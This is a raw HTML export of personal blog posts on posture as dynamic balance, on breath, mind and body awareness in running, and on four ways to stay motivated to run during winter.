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<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">With this background, it isn’t surprising that I grew up believing good posture is something you have to hold on to, an ideal form to keep and train your muscles into. When in my early twenties I started seeing signs of my own postural deterioration, I also bought myself one of the harness contraptions and would try to wear it during work hours, strapped on as tight as I could (the tighter the better, right?). It was horribly uncomfortable, painful even; it would leave me with incredibly sore shoulders and neck. But the most disheartening thing was that the minute I took off the torture device, my shoulders would invariably slump forward, aching but grateful that the day’s ordeal was over. In other words, my posture would fall apart the minute I wasn’t strapping it into its “correct” position.<o:p></o:p></span></div>
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<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">This view of what good posture is, and how to acquire and maintain one, is fairly mainstream. A quick Google search for “posture exercises” will throw results that speak to this idea: which muscles need to be strengthened to hold you upright (mostly core work, i.e. abdominal and back muscles) and which need to be lengthened from their chronically shortened conditions (namely muscles which attach your limbs to your trunk, like the pectorals, the psoas and the hamstrings).<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">I hold no issue against these exercises, for I still believe that the relative length and strength of certain muscle groups does play an important role in so called “good” posture. However, I do have an issue with the model of posture that is behind them.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">From a somatic movement perspective “posture” (as the term is generally understood) is an irrelevant concept, hence it makes no sense to hold on to neither the term itself nor any physical posture whatsoever. The word posture (linked etymologically to the word post) implies something static, and life is everything but that. When you admire someone’s “good posture” what you are really admiring is their “poise”, their “alignment”, their capacity to adapt to constantly changing demands for balance and counterbalance, in such a way that there is a relative “quietness” of visible effort in their bodies. This “quietness” of unnecessary effort, this efficient play of equilibriums, is what “good posture” is actually all about: an “attitude” more than a “shape”.<o:p></o:p></span></div>
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<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">The main problem with our understanding of what posture is, is thinking it has anything to do with a set form, “set” being the key word here. We are always moving, even when we think we are standing, sitting or lying motionless. Think of it, even when we are completely “still” we are still breathing, and that is already a form of movement that requires adaptations in the relative position of certain bones (ribs), muscles (diaphragm) and organs (lungs) which in turn cause adaptations in all other bones, muscles and organs. When we are standing still, we are balancing upright against the pull of gravity on a structure that is most decidedly not a post. As we can see, maintaining the illusion of “good posture” is more a question of managing the dynamic equilibrium of perpetually moving parts that keep realigning themselves to adapt to constantly changing inner and outer environments, than of keeping certain bits of our anatomy in a fixed position (shoulders back and down!). <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Posture is a dance, full of improvisations, micro and macro adjustments of tone and direction. Since all our parts need to be ever ready to move in relation to our other parts, trying to maintain a fixed “posture” is nothing but interference with the action of living (at the very least of breathing).<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">For example, when I was strapping my shoulders back and down with the harness I was interfering not only with my breathing, but also with my walking. My shoulder blades need to move as I walk, both as part of the rotation of my trunk and the back and forth swing of my arms. By fixing my shoulders firmly back I was disturbing the natural movement of my arms and the rotation and counter rotation that should occur between my shoulder girdle and pelvis as I walk. This in turn unbalanced my spine and anything that unbalances your spine automatically increases the overall effort you need to exert just to shift weight from one leg to another in order to walk. Needless to say, if you unbalance your spine, you unbalance your-Self, for few things are more terrifying to your system than the possibility of losing your balance and ending up with your head smacking against the floor.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">In a nutshell, the whole stand up straight, shoulders back, chest out, butt in directives are not only ineffective in correcting posture, they also causes problems when the time comes to actually move (which is all the time). So, instead of trying to maintain good posture, why not ask yourself whether everything is moving with ease? <o:p></o:p></span></div>
<br />
<div style="margin-bottom: 12.0pt;">
<span style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">How can you know that? Well, I think the key is in learning two things. The first is learning a little about how you are built for movement, have some basic idea of what your inner structures look like and what movement possibilities they have. The second is learning to tune into your movement quality, to how your body feels when it moves (does this movement feel easy, elegant and graceful, or painful, stiff and forced?). Putting these two things together is the surer path I know to finally acquiring and constantly updating your posture.<o:p></o:p></span></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-574841750375577755.post-74608593063112345422015-08-18T15:08:00.002-03:002015-08-18T15:08:59.310-03:00The 3 Awarenesses that Unlock your 'Joy for Running'<div class="separator" style="clear: both; text-align: left;">
Post originally published at www.joy4running.wordpress.com</div>
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<a href="http://4.bp.blogspot.com/-mEiY88XQjeE/VdN0gTJ4H7I/AAAAAAAAI1E/yrCcFMUQcZM/s1600/MindBodyBreath.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="http://4.bp.blogspot.com/-mEiY88XQjeE/VdN0gTJ4H7I/AAAAAAAAI1E/yrCcFMUQcZM/s640/MindBodyBreath.jpg" width="640" /></a></div>
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<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div align="center" style="line-height: 17.5pt; margin-bottom: 9.9pt; text-align: center;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Written by Victoria Stanham<o:p></o:p></span></div>
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<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Most of my
non-running friends’ response to “Why don’t you run?” is something along the
lines of, “I love the <em>idea</em> of running… I just hate the<span class="apple-converted-space"> </span><em>actual</em><span class="apple-converted-space"> </span>running
itself.”<o:p></o:p></span></div>
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<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">If we are all born
with the necessary hardware and software for the task... why is running
pleasurable only to a gifted few? Does it have to be this way? Can something be
done about it?<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">I believe it can...
and I have this great idea to share with you.<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Just for clarity's
sake, I’m not going to teach you how to go “from couch to 5k”, nor give advice
on what shoes to buy, nor what training plan to follow, nor what to eat before
a run.<span class="apple-converted-space"> </span>All these topics have
already been exhaustively covered in<span class="apple-converted-space"> </span>other running-related
blogs out there.<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">My focus here is not
so much on the “externals” of running as in the “internals”. What you’ll get
from me is ideas on<span class="apple-converted-space"> </span><strong>how to manage
your breath, body and mind so that they stop fighting each other and start
cooperating</strong><span class="apple-converted-space"> </span>during
your runs.<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">What for?</span></strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Sheer running-bliss.</span></strong><span class="apple-converted-space"><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"> </span></span><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">No more, no less.<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">So what’s my running-mojo all about?</span></strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><o:p></o:p></span></div>
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<!--[if !supportLists]--><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">1.<span style="font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Awareness and Use of
Breath.</span></strong><span class="apple-converted-space"><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> </span></span><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Enjoyment of running is
almost equivalent to your enjoyment of breathing. Do you enjoy breathing? Do
you like how you breathe? Do you enjoy breathing even when your heart-rate
speeds up? Or does it suddenly get all painful and out of control?<o:p></o:p></span></div>
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<!--[if !supportLists]--><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">2.<span style="font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Awareness and Use of
Mental Processes.</span></strong><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Out of control breath
equals out of control mind… and vice-versa. Where does your mind wander off to
when you run? Is<span class="apple-converted-space"> </span></span><a href="http://www.buzzfeed.com/erinchack/thoughts-every-jogger-has-while-out-for-a-running?utm_term=.qx4849xWl#.hu3q8qB7n" target="_blank"><span style="color: #1b8be0; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">this</span></a><span class="apple-converted-space"><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> </span></span><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">what your train of thought looks like? Most exhaustion is rooted
in the out-of-control wandering mind; once you learn to bring it home to rest,
more energy becomes available to you.<o:p></o:p></span></div>
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<!--[if !supportLists]--><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">3.<span style="font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><strong><span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Awareness and Use of
Body Mechanics.</span></strong><span class="apple-converted-space"><b><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> </span></b></span><span style="color: #222222; font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">The
body is the resting place for both breath and mind. But, if pain and strain
also reside there, you can’t blame breath and mind to try and go wandering
somewhere else. To master the biomechanics of running, body awareness has to
come first and excess effort must be let go.<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Every complaint I’ve
ever heard about running from would-be runners can be traced back to the
downward spiral of a poor breathing pattern, fuelling an out-of-control mind, which
engenders poor body-mechanics, which in turn hinders the breath, which
exacerbates the mind, which tenses the body... ad infinitum.<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">The saddest part
is we are not even aware that this is going on, we’re only aware of the
discomfort and pain it causes<span class="apple-converted-space"> </span>to
a specific part of us. So before you decide to tinker with your breathing
pattern or your body-mechanics: STOP!<span class="apple-converted-space"> </span><strong>You can’t
change what you don’t know is there.</strong><o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">My first tip is
this:<span class="apple-converted-space"><b> </b></span><strong>Invest in</strong><span class="apple-converted-space"><b> </b></span><strong>heightening your awareness of
body, mind and breath. </strong>Above all, become aware of
how <strong>these
3 aspects are intimately related.</strong><o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">In future<span class="apple-converted-space"> </span>posts I’ll<span class="apple-converted-space"> </span>share some of the exercises that
have helped me enhance my own awareness<span class="apple-converted-space"> </span>of
these three areas and their interrelatedness. If you don't want to miss
them, just register your email to receive notifications of new posts directly
in your inbox.<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Happy Running!<o:p></o:p></span></div>
<div style="line-height: 17.5pt; margin-bottom: 9.9pt;">
<span style="color: #222222; font-family: "Calibri","sans-serif"; font-size: 14.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">-Vicky<o:p></o:p></span></div>
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Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com2tag:blogger.com,1999:blog-574841750375577755.post-91721278754994895582015-08-11T17:50:00.001-03:002015-08-11T17:50:45.411-03:004 Keys to Motivate Myself to Go for a Run<div class="separator" style="clear: both; text-align: left;">
This blogpost was originally published in my running blog at <a href="http://www.joy4running.wordpress.com/">www.joy4running.wordpress.com</a></div>
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<a href="http://2.bp.blogspot.com/-X7O4LGqq3rE/VK-uUAdI8XI/AAAAAAAAGCg/xfdnSrOn4uo/s1600/DSC_0034.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-X7O4LGqq3rE/VK-uUAdI8XI/AAAAAAAAGCg/xfdnSrOn4uo/s1600/DSC_0034.jpg" /></a></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">It’s winter here
in Uruguay, and it’s difficult to start (or keep up) a running routine. No
matter how much I enjoy the actual running, and the post-running bliss,
stepping out into the cold and the wind is not always the most tempting
prospect.<o:p></o:p></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">This year,
however, I managed to keep the winter blues at bay. These arte the 4 keys I
used to stay on track:</span></div>
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<b style="text-indent: -0.25in;"><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
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<b style="text-indent: -0.25in;"><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">1.<span style="font-size: 7pt; font-stretch: normal; font-weight: normal;">
</span></span></b><b style="text-indent: -0.25in;"><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">Having a Fixed Date with a Running
Group and/or Running Buddies</span></b></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">Nothing beats
keeping me on my toes than the support and encouragement of my new running
group: <u>Trotamundos Running Uruguay</u> , and arranging runs with my sister.
There’s something about keeping a commitment with someone else that makes
getting out the door easier.<o:p></o:p></span></div>
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<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";"><br /></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">Benefits:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">fixed
days and times for runs means I don’t have to decide <i>when </i>to go out for a run (I like keeping superfluous decisions down
to a minimum, they use up too much precious energy)<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">the
camaraderie and fun energy of a group makes going out for a run more
motivating, even when I’m tired<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";"><br /></span></div>
<div class="MsoListParagraph" style="text-indent: -0.25in;">
<!--[if !supportLists]--><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> 2.<span style="font-size: 7pt; font-stretch: normal; font-weight: normal;">
</span></span></b><!--[endif]--><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Registering for a Race<o:p></o:p></span></b></div>
<div class="MsoListParagraph" style="text-indent: -0.25in;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal">
<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Joinging a
running group means I have 3 fixed running dates a week. This doesn’t mean I
don’t ‘skip’ training days anyways. Sometimes I’m tired after a long day of
work, or I’m just too lazy. The best solution: registering for a race that’s a
tiny bit challenging for me and that requires sticking to a training program.
With my sister we’ve set our sights on a sponsored 7k run in a month and a
half. I’ve gone a bit further and started courting the idea of running the Nike
Half Marathon in two months. Perhaps that’s crazy, but it gives me enough
motivation to lace up and step out.<o:p></o:p></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Benefits:<o:p></o:p></span></b></div>
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<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">extra
motivation not to skip training days<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">that
great feeling of building towards something, even if I don’t reach my goal<o:p></o:p></span></div>
<div class="MsoListParagraph" style="text-indent: -0.25in;">
<!--[if !supportLists]--><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> </span></b></div>
<div class="MsoListParagraph" style="text-indent: -0.25in;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> 3.<span style="font-size: 7pt; font-stretch: normal; font-weight: normal;">
</span></span></b><!--[endif]--><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Having a Training Plan<o:p></o:p></span></b></div>
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<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">I get bored if I
always follow the same routine when I run. That’s why I like to have a varied
training plan. This also avoids me having to decide what to do when I’m out
running: it’s there on today’s plan. <o:p></o:p></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";"><br /></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">Benefits:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">keeping
things interesting and moderately challenging<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">keeping
the weight-loss benefits (it’s been proven that doing always the same run, at
the same pace completely undermines weight-loss goals)<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">not
having to think “what should I do today?”<o:p></o:p></span></div>
<div class="MsoListParagraph" style="text-indent: -0.25in;">
<!--[if !supportLists]--><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> </span></b></div>
<div class="MsoListParagraph" style="text-indent: -0.25in;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> 4.<span style="font-size: 7pt; font-stretch: normal; font-weight: normal;">
</span></span></b><!--[endif]--><b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Setting up for Success<o:p></o:p></span></b></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";"><br /></span></div>
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<span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">There are thousands of little, simple things I
can do to make it easier for me not to skip a run due to plain laziness. The ones that work best for me are: <b>a) leaving my running clothes ready to jump
into </b>(either by my bed for a morning run, or in a bag if I’m doing a
post-work run), <b>b) writing in my running
dates in my agenda, </b>so as to avoid scheduling other stuff at the same time,
and <b>c)</b> <b>training near my house</b>, (this one I learned the hard way, after
joining a club once that required a half hour commute to come and go).<o:p></o:p></span></div>
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<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Benefits:<o:p></o:p></span></b></div>
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<!--[if !supportLists]--><span lang="ES-UY" style="font-family: Symbol; font-size: 10.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">elminating excuses and
obstacles<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: Symbol; font-size: 10.0pt; mso-bidi-font-family: Symbol; mso-bidi-font-size: 14.0pt; mso-fareast-font-family: Symbol;">·<span style="font-family: 'Times New Roman'; font-size: 7pt; font-stretch: normal;">
</span></span><!--[endif]--><span style="font-size: 14.0pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman";">prioritizing
my runs over other activities<o:p></o:p></span></div>
<div class="MsoNormal">
